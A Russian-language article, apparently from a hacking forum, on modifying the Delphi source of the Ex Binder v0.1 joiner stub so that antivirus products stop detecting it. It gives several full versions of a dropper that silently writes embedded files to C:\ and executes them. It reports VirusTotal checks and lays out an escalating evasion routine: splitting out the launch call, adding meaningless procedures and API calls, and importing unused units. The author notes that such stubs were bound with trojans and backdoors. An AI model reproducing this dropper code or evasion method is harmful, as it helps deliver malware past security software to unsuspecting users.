Цель данной статьи – показать, каким образом изменения, внесённые в исходный код программы влияют на уровень её распознавабельности антивирусным ПО. А также привести примеры разных видов изменений исходного кода на определённом образце – стабе джоинера Ex Binder v0.1 (Author: TM). Статья рассчитана на специфичную аудиторию, материал статьи потребует для освоения и применения наличие Дельфи (не обязательно полного, нужен лишь компилятор [1]), знания синтаксиса Дельфи, собственно сами исходные коды разного рода ПО. Терминология: Дельфи – среда визуальной разработки приложений, а с версии 7, ещё и одноименный язык программирования. Джоинер – ПО, предназначенное для контейнирования в одном файле нескольких файлов, с возможностью их запуска по запуску файла-контейнера. Стаб – контейнер джоинера в чистом виде (без файлов). Проверим файл-стаб джоинера на virustotal.com. Он получен в результате компиляции неизменённого авторского исходника Ex Binder v0.1. Сорец: Code: {A very Lite stub for extraction and execution of multiple files. Author: TM } program Stub; uses Windows, ShellApi; function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall; var Info, FH, BW:DWORD; begin Result:= True; Info:= FindResource(0, lpName, lpType); FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil); CloseHandle(FH); ShellExecute(0, 'OPEN', PChar('C:\'+lpName), '', '', 0); end; begin EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0); end. Результат проверки (только положительные ответы): Данный джоинер один из самых простых. Он основан на хранении файлов в ресурсах программы-контейнера. При запуске следует извлечение ресурсов и их запуск. Почему же это приложение определилось некоторыми антивирусами, не как Joiner/Dropper, а как троян? Дело в том, что при использовании, это приложение попадало для анализа склеенным с именно тем определяемым видом вируса (Trojan, Backdoor). Вероятно, система анализа, либо программисты-аналитики были не очень щепетильны, либо сочли не нужным уточнять вид вируса. Так или иначе, сигнатуры кода джоинера добавились в базу с этими данными. Итак, что же можно сделать, для устранения этих неприятных строчек? Я слышал, многие советуют «добавить мусор» в конец кода программы. Что ж. Добавим 30Кб случайных символов. Результат проверки: Число определивших антивирусов от проведённой операции меньше не стало. Так что «мусор» не поможет. Ещё, бывает, советуют запаковать. Хорошо. Пакуем UPX 1.95. Результат: Этот результат может удивить. Теперь вирус видят уже 12 антивирусов. Так что способ совсем не годится. Все современные антивирусы могут распаковывать упакованное любым известным (не свежим) пакером/компрессором. Но почему возросло число? Ответ прост, если помыслить логически то можно предположить, что многие паковали джоинер с вирусом с помощью UPX, дабы уменьшить размер. Не пакованный джоинер антивирусным программам менее знаком. А теперь применим все наши познания Дельфи и произведём следующее: изменение исходного кода джоинера. Сделаем самое простое: вынос процедуры. А какую процедуру выберем? А самую последнюю – ShellExecute. Уберём её из function EnumNamesFunc. Создадим procedure Run(nn:string); и в неё вставим ShellExecute с передачей нужного параметра nn:string. Получим следующее: Code: program Stub; uses Windows, ShellApi; procedure Run(nn:string); begin ShellExecute(0, 'OPEN', PChar('C:\'+nn), '', '', 0); end; function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall; var Info, FH, BW:DWORD; begin Result:= True; Info:= FindResource(0, lpName, lpType); FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil); CloseHandle(FH); Run(lpName); end; begin EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0); end. Проверим, и вот результат: Правда, неплохо? Panda заставить замолчать полностью не удастся, но Ikarus мы убрать должны. А что ещё можно сделать с исходником? Предложу ещё три примера развития модификации исходного кода. Это полубессмысленное использование схожей с ShellExecute функции, бессмысленное построение цепочки процедур и бессмысленное добавление модуля. Но скажу, что всё сразу это делать не стоит. Какова должна быть последовательность ваших действий? Сначала применяем первое, не палится – отлично. Стало палиться – второе. Снова стало – первое и второе сразу. Потом третье и т.д. – по вашей фантазии и навыкам Дельфи-кодинга. 1. Творчество. Добавим функцию winexec совместно с shellexecute, однако только для файлов с расширением com, exe, src. Расширение же выделим с помощью ExtractExt. Исходник: Code: program Stub; uses Windows, ShellApi; function ExtractExt(extrpath:string):string; var epl:integer; begin epl:=length(extrpath); if epl>3 then begin Result:=extrpath[epl-2]+extrpath[epl-1]+extrpath[epl]; end else Result:=''; end; procedure exefile(fn:PChar); begin if ((ExtractExt(fn)='com') or (ExtractExt(fn)='exe') or (ExtractExt(fn)='scr')) then winexec(PChar('C:\'+fn),1) else shellexecute( 0 , 'OPEN' , PChar('C:\'+fn) , '' , '' , 0 ); end; function ENF(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall; var Info, FH, BW:DWORD; begin Result:= True; Info:= FindResource(0, lpName, lpType); FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil); CloseHandle(FH); exefile(lpName); end; begin EnumResourceNames(0, RT_RCDATA, @ENF, 0); end. После этой операции, как и последующих, только Panda говорит о подозрительном файле. 2. Далее вставим цепочку бессмысленных процедур и вызовем ещё пару windows-функций. Code: program Stub; uses Windows, ShellApi; procedure fun3(); begin MessageBox(0,'','',0); end; procedure fun2; begin fun3; end; procedure fun1(inco:integer); begin if inco=3 then fun2; end; function ExtractExt -\\- procedure exefile(fn:PChar); begin if ((ExtractExt(fn)='com') or (ExtractExt(fn)='exe') or (ExtractExt(fn)='scr')) then winexec(PChar('C:\'+fn),1) else shellexecute( 0 , 'OPEN' , PChar('C:\'+fn) , '' , '' , 0 ); Randomize; fun1(Random(1)); end; function ENF -\\- begin EnumResourceNames(0, RT_RCDATA, @ENF, 0); end. 3. А потом подключим модули, прямо в ненужных процедурах: Code: program Stub; uses Windows, ShellApi, TlHelp32; procedure fun3(); begin MessageBox(0,'','',0); CreateToolhelp32Snapshot(0,0); DragAcceptFiles(0,true); end; procedure fun2; begin fun3; DragAcceptFiles(0,true); end; procedure fun1(inco:integer); begin if inco=3 then fun2; CreateToolhelp32Snapshot(0,0); end; function ExtractExt -\\- procedure exefile -\\- function ENF -\\- begin EnumResourceNames(0, RT_RCDATA, @ENF, 0); end. После таких операций [2], что было неоднократно проверено, определяемость антивирусами даже самого палящегося ПО исчезает. Заключение. Статья и примеры ПО были созданы исключительно в учебно-демонстративных целях. Статья зародилась в ходе работы автора над исходными кодами джоинеров, выложенных в теме [3]. В ходе работы примером служил джоинер Ex Binder v0.1 от TM с последовательными изменениями от меня. Статью (как и исходный код) можно дополнять, переопубликовывать, ссылаясь на первоисточник, указывая автора. Список ссылок. 1. SmallDelphi, для решения вопроса компиляции исходников на Дельфи. 2. Все, приведённые в статье исходные коды, логи проверки и бинарники. 3. Некоторые джоинеры (тема), исходные коды которых подверглись описанной обработке.